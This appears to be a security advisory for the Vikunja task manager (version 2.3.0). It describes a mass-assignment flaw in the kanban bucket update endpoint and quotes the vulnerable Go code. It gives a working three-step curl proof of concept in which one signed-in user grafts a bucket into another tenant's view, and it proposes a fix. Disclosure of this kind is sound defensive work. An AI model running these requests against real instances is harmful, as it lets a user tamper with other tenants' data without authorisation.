Vikunja vulnerable to authenticated cross-tenant kanban-bucket relocation via `project_view_id` mass-assignment

## Summary `POST /api/v1/projects/{project}/views/{view}/buckets/{bucket}` mass-assigns the request body's `project_view_id` onto the bucket row. The permission check only verifies that the URL-supplied bucket already belongs to the URL-supplied `(project, view)` pair; the body's `project_view_id` is never validated. Any signed-in user can therefore take one of their own buckets and graft it into any other tenant's kanban view, with attacker-controlled title and the attacker's account as `created_by`. This vulnerability was found using an LLM, and manually verified against latest (2.3.0). ## Vulnerable code `pkg/models/kanban.go` (lines 348-359): ```go func (b *Bucket) Update(s *xorm.Session, _ web.Auth) (err error) { _, err = s. Where("id = ?", b.ID). Cols( "title", "limit", "position", "project_view_id", // mass-assigned from the request body ). Update(b) return } ``` `Bucket.CanUpdate` (`canDoBucket`) only validates that the URL-supplied `{bucket}` belongs to the URL-supplied `{project}/{view}`. The body's `project_view_id` reaches `Update` unchecked and is written through. ## Proof of Concept **Prerequisites:** Two registered users (`attacker` and `victim`). In the IDs below: attacker's project is `2`, kanban view `8`; victim's project is `1`, kanban view `4`. **Step 1:** Attacker creates a fresh bucket in their own project. ```bash curl -s -X PUT 'http://localhost:13456/api/v1/projects/2/views/8/buckets' \ -H 'Authorization: Bearer <attacker_token>' \ -H 'Content-Type: application/json' \ -d '{"title":"PWNED BUCKET"}' | jq '.id' # Returns: 7 ``` **Step 2:** Attacker updates bucket `7`, supplying `project_view_id` = victim's view ID. The URL chain is the attacker's, so `CanUpdate` passes; the body field is written through without further checks. ```bash curl -s -X POST 'http://localhost:13456/api/v1/projects/2/views/8/buckets/7' \ -H 'Authorization: Bearer <attacker_token>' \ -H 'Content-Type: application/json' \ -d '{"title":"PWNED BUCKET","limit":0,"project_view_id":4}' | jq '{id,title,project_view_id}' # Returns: { # "id": 7, # "title": "PWNED BUCKET", # "project_view_id": 4 # } ``` **Step 3:** Victim lists buckets in their own view; the attacker's bucket is now there, owned by the attacker. ```bash curl -s 'http://localhost:13456/api/v1/projects/1/views/4/buckets' \ -H 'Authorization: Bearer <victim_token>' | jq '[.[]|{id,title,created_by:.created_by.username}]' # Returns: [ # {"id":7,"title":"PWNED BUCKET","created_by":"attacker"}, # {"id":1,"title":"To-Do","created_by":"victim"}, # {"id":2,"title":"Doing","created_by":"victim"}, # {"id":3,"title":"Done","created_by":"victim"} # ] ``` After relocation the attacker can no longer reach the row (it lives in the victim's view), so only the victim can delete the graffiti. `project_view_id` is a sequential integer, so any tenant's view can be targeted by enumeration. ## Impact Any signed-in user can inject arbitrary-titled buckets into any other tenant's kanban view. Most likely exploitation here would be graffiti/defacement. ## Fix In `(b *Bucket) Update`, drop `project_view_id` from the `Cols(...)` allowlist (mass-assignment fix) and reject body payloads where `project_view_id != bucket.ProjectViewID`. If legitimate "move bucket between views" is a needed feature, expose it as a dedicated endpoint that calls `CanUpdate` against both the source and destination view.

Quoted source text, attributed separately from HOL analysis.